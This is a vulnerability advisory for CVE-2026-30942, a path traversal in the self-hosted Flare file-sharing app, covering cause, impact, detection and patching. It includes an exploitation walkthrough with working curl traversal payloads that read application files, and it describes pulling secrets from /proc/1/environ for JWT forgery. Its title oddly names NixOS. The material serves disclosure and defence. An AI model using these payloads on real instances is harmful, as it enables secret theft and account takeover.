CVE-2026-30942: 
NixOS vulnerability analysis and mitigation

CVE-2026-30942 is an authenticated path traversal vulnerability in Flare, a Next.js-based self-hostable file sharing platform, affecting all versions prior to 1.7.3. The flaw exists in the /api/avatars/[filename] endpoint, where unsanitized user input allows any logged-in user to read arbitrary files accessible to the Next.js process within the application container. It was published on March 10, 2026, and patched in version 1.7.3 released March 7, 2026. The vulnerability carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 8.3 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). In app/api/avatars/[filename]/route.ts, the filename URL parameter is passed directly to path.join() without sanitization, and getFileStream() in lib/storage/providers/local.ts performs no path validation before constructing the full filesystem path. Critically, a validateStoragePath() function existed in the same file but was only applied to write operations — never to reads. An attacker can supply %2F-encoded ../ sequences (e.g., ..%2F..%2F.env) in the URL, which path.join() resolves normally, allowing escape from the uploads/avatars/ directory to any file under /app/ readable by the Next.js process (uid 1001). On instances with open registration enabled (the default), no pre-existing account is required — an attacker can self-register and immediately exploit the endpoint (GitHub Advisory, Patch Commit).

Successful exploitation grants full read access to all files under /app/ accessible to the Next.js process, including compiled application source (.next/server/), the Prisma database schema (prisma/schema.prisma), and package.json for dependency fingerprinting. On deployments without a WAF, /proc/1/environ may be readable, exposing DATABASE_URL, NEXTAUTH_SECRET, and all runtime secrets — enabling forging of arbitrary admin JWTs for full account takeover and direct PostgreSQL access for complete data exfiltration. The vulnerability has no integrity or availability impact, but the confidentiality impact is high. S3-backed deployments are not affected, as the code redirects before reaching getFileStream() (GitHub Advisory).

A proof-of-concept exploit consisting of concrete curl commands with --path-as-is, session tokens, and URL-encoded traversal payloads is publicly available in the GitHub Security Advisory. The PoC was tested against a live production instance and confirmed successful file exfiltration. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.00126 (low probability of exploitation in the near term), and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory).

1. Reconnaissance: Identify self-hosted Flare instances (versions < 1.7.3) using local storage. Check if open registration is enabled (the default) by visiting the /auth/register page.
2. Obtain authentication: If open registration is enabled, self-register a new account. Otherwise, use any existing valid credentials to obtain a __Secure-next-auth.session-token cookie.
3. Confirm traversal capability: Send an unauthenticated request to verify middleware enforcement, then send an authenticated request to confirm traversal resolves outside the avatar directory:

   curl -v --path-as-is "https://<target>/api/avatars/..%2F..%2Fpackage.json" \
     -H "Cookie: __Secure-next-auth.session-token=$SESSION"

4. Exfiltrate sensitive files: Read compiled application source, database schema, or environment variables:

   # Read compiled auth route (contains JWT logic and secrets)
   curl --path-as-is "https://<target>/api/avatars/..%2F..%2F.next%2Fserver%2Fapp%2Fapi%2Fauth%2F%5B...nextauth%5D%2Froute.js" \
     -H "Cookie: __Secure-next-auth.session-token=$SESSION" -o auth_route.js
   
   # Read Prisma schema for database structure
   curl --path-as-is "https://<target>/api/avatars/..%2F..%2Fprisma%2Fschema.prisma" \
     -H "Cookie: __Secure-next-auth.session-token=$SESSION"

5. Escalate (if no WAF): Attempt to read /proc/1/environ to extract NEXTAUTH_SECRET and DATABASE_URL, enabling JWT forgery for admin access or direct database connection (GitHub Advisory).

• Network: HTTP GET requests to /api/avatars/ containing URL-encoded path traversal sequences such as ..%2F, %2F.., or multiple encoded slashes; requests to /api/avatars/ with filenames containing .next, prisma, package.json, .env, or proc in the path.
• Logs: Next.js access logs showing 200 responses for /api/avatars/ requests with non-image filenames or unusually long/encoded filename parameters; server-side ENOENT errors referencing paths outside /app/uploads/avatars/ (e.g., /app/.env) indicating traversal attempts that did not find the target file.
• File System: No direct file system artifacts are created by read-only exploitation; however, unexpected access timestamps on sensitive files such as package.json, prisma/schema.prisma, or files under .next/server/ may indicate unauthorized reads.
• Process: No unusual child processes are expected for this read-only vulnerability, but subsequent exploitation of extracted secrets (e.g., NEXTAUTH_SECRET) may manifest as unexpected admin-level sessions or unauthorized database connections (GitHub Advisory).

Upgrade Flare to version 1.7.3 or later, available on Docker Hub (flintsh/flare:1.7.3) and GitHub Container Registry (ghcr.io/flintsh/flare:1.7.3). The patch introduces a new lib/security/paths.ts library with sanitizeFilename(), validatePathSegment(), and safeJoin() functions, and applies validateStoragePath() to all read operations in getFileStream(). As an interim workaround for instances that cannot be immediately patched, disable open user registration to require pre-existing credentials for exploitation, and consider placing a WAF in front of the instance to block requests containing %2F or .. sequences in the /api/avatars/ path (GitHub Release, Patch Commit).

The vulnerability was reported by researcher Aryma-f4 and credited in the GitHub Security Advisory. Red Hat tracked the issue via Bugzilla (Bug 2446087) with a high severity rating. The CVE was noted on social platforms including Bluesky and aggregated by vulnerability databases such as VulnDB shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (Red Hat Bugzilla, GitHub Advisory).